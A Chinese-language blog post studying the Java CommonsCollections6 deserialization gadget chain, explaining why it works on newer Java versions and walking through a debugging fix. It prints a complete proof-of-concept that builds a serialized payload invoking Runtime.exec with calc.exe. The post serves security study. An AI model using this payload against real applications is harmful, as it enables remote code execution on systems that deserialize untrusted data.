前言

之前三篇详细分析了CommonsCollections1利用链,两种方法,LazyMap以及TransformedMap,但是在Javaa 8u71以后,这个利⽤链不能再利⽤了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了

在ysoserial中,CC6解决了高版本不能利用的问题。接下来就来看看

分析

ysoserial中的代码过于复杂,所以来看这条简化版利⽤链:

/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

关注点主要是从最开始到org.apache.commons.collections.map.LazyMap.get(),因为 LazyMap#get后⾯的部分和CC1相同。所以简单来说,解决Java⾼版本利⽤问题,实际上就是在高版本中找上下⽂中是否还有其他调⽤LazyMap#get()的地⽅。

找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法中调⽤了 this.map.get,⽽其hashCode⽅法调⽤了getValue⽅法

import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key; public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 :value.hashCode());
}
// ...
}

所以,欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了TiedMapEntry#hashCode

java.util.HashMap#readObject中就可以找到 HashMap#hash()的调⽤

public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
//...
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
//...
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

在HashMap的readObject⽅法中,调⽤到了hash(key) ,⽽hash⽅法中,调⽤到了 key.hashCode()。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过程,构成⼀个完整的Gadget

构造

⾸先,构造恶意LazyMap

Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class,Class[].class },
newObject[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class Object[].class },
newObject[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

为了避免本地调试时触发命令执 ⾏,在构造LazyMap的时候先⽤⼀个⼈畜⽆害的 fakeTransformers 对象,等最后要⽣成Payload的时候,再把真正的 transformers 替换进去。

将上面的transformer包装成恶意LazyMap对象outerMap,将其作为TiedMapEntry的map属性。

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调⽤ TiedMapEntry#hashCode() ,我们需要将tme对象作为 HashMap的⼀个key。注意,这⾥我们需要新建⼀个HashMap,⽽不是⽤之前LazyMap利⽤链⾥的那个HashMap,两者没任何关系。

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后,可以将这个expMap作为对象来序列化了,不过,别忘了将真正的transformers数组设置进来

整体Payload如下:

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]
{new ConstantTransformer(1)};
Transformer[] iTransformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, iTransformers); //生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr); //本地测试
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

关于构造利用链,先要有一个大致思路,接下来就是寻找参数是怎么样传递的。

调试

可以看到,只是生成序列化数据,没有成功执行命令

每个关键函数都打断点,单步调试一下。在LazyMap的get⽅法,画框的部分,就是最后触发命令执⾏的transform(),但是这个if语句并没有进⼊,因为map.containsKey(key)的结果是true

可以看到这里的key是keykey,看下之前的代码,唯⼀出现keykey的地⽅就是在 TiedMapEntry的构造函数⾥,但TiedMapEntry的构造函数并没有修改outerMap

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

这个关键点就出在expMap.put(tme, "valuevalue"); 这个语句⾥⾯。HashMap的put⽅法中,也有调⽤到hash(key)

这⾥就导致LazyMap这个利⽤链在这⾥被调⽤了⼀遍,因为前⾯⽤了fakeTransformers,所以此 时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响

解决⽅法也很简单,只需要将keykey这个Key,再从outerMap中移除即 可: outerMap.remove("keykey")

最终完整POC如下

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]
{new ConstantTransformer(1)};
Transformer[] iTransformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey"); //将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, iTransformers); //生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr); //本地测试
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

这个利⽤链可以在Java7和8的⾼版本触发,没有版本限制:

ysoserial

上面的这条利用链子是ysoserial中CC6的简化版。

/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/

可以看到多了两步:

java.util.HashMap.put()
java.util.HashMap.hash()

这里是多了两个调用步骤,至于原因,暂时还没理解透。

小结

对CC6这条利用链进行了学习,在构造Gadget的时候还是要思路清晰,后面继续学习。

Java安全之CC6的更多相关文章

  1. Java安全之CC3

    前言 上一篇文章学习了Java中加载字节码的⼀些⽅法,其中介绍了TemplatesImpl,TemplatesImpl 是⼀个可以加载字节码的类,通过调⽤其newTransformer()⽅法,即可执 ...

  2. Spark案例分析

    一.需求:计算网页访问量前三名 import org.apache.spark.rdd.RDD import org.apache.spark.{SparkConf, SparkContext} /* ...

  3. java基础学习总结-接口

    原文链接:http://www.cnblogs.com/xdp-gacl/p/3651121.html 一.接口的概念 JAVA是只支持单继承的,但现实之中存在多重继承这种现象,如"金丝猴是 ...

  4. Java【第八篇】面向对象之高级类特性

    static 关键字 当我们编写一个类时,其实就是在描述其对象的属性和行为,而并没有产生实质上的对象,只有通过new关键字才会产生出对象,这时系统才会分配内存空间给对象,其方法才可以供外部调用.我们有 ...

  5. Java类的继承与多态特性-入门笔记

    相信对于继承和多态的概念性我就不在怎么解释啦!不管你是.Net还是Java面向对象编程都是比不缺少一堂课~~Net如此Java亦也有同样的思想成分包含其中. 继承,多态,封装是Java面向对象的3大特 ...

  6. java基础学习总结——接口

    一.接口的概念 JAVA是只支持单继承的,但现实之中存在多重继承这种现象,如“金丝猴是一种动物”,金丝猴从动物这个类继承,同时“金丝猴是一种值钱的东西”,金丝猴从“值钱的东西”这个类继承,同时“金丝猴 ...

  7. java基础—接口概念

    一.接口的概念 JAVA是只支持单继承的,但现实之中存在多重继承这种现象,如“金丝猴是一种动物”,金丝猴从动物这个类继承,同时“金丝猴是一种值钱的东西”,金丝猴从“值钱的东西”这个类继承,同时“金丝猴 ...

  8. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  9. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

随机推荐

  1. [CF1519D] Maximum Sum of Products (暴力)

    题面 有两个长为 n n n 的序列 a a a 和 b b b,至多反转 a a a 的一个子区间,最大化 ∑ i = 1 n a i ⋅ b i \sum_{i=1}^na_i\cdot b_i ...

  2. [CSP-S 2019 day2 T1] Emiya家今天的饭

    题面 题解 不考虑每种食材不超过一半的限制,答案是 减去 1 是去掉一道菜都不做的方案. 显然只可能有一种菜超过一半,于是枚举这种菜,对每个方式做背包即可(记一维状态表示这种菜比别的菜多做了多少份). ...

  3. 2020/12/9 酒etf

    2020/12/9 2.315建仓酒etf,之后陆续加仓,拿到年底看看 2020/12/12 2.36卖出部分,目前成本2.106,盈利百分之9.449,白酒应该是没问题,但感觉年前应该有波调整. 2 ...

  4. 「学习笔记」单调队列优化dp

    目录 算法 例题 最大子段和 题意 思路 代码 修剪草坪 题意 思路 代码 瑰丽华尔兹 题意 思路 代码 股票交易 题意 思路 代码 算法 使用单调队列优化dp 废话 对与一些dp的转移方程,我们可以 ...

  5. Android平台Camera2数据如何对接RTMP推流到服务器

    1. Camera2架构 在Google 推出Android 5.0的时候, Android Camera API 版本升级到了API2(android.hardware.camera2), 之前使用 ...

  6. Android平台摄像头/屏幕/外部数据采集及RTMP推送接口设计描述

    好多开发者提到,为什么大牛直播SDK的Android平台RTMP推送接口怎么这么多?不像一些开源或者商业RTMP推送一样,就几个接口,简单明了. 不解释,以Android平台RTMP推送模块常用接口, ...

  7. 小结event.target与this

    <!DOCTYPE html> <html> <head>     <meta charset="UTF-8">     <t ...

  8. WebDriver常见操作

    本文当个记录贴,记录WebDriver常用的一些函数(含自己封装的函数) 让WebDriver使用浏览器用户设置 1 option = webdriver.ChromeOptions() 2 opti ...

  9. kubeadm init 命令执行流程

  10. 为MinIO Server设置Nginx代理

    官方文档地址:http://docs.minio.org.cn/docs/master/setup-nginx-proxy-with-minio nginx参考网址:https://www.nginx ...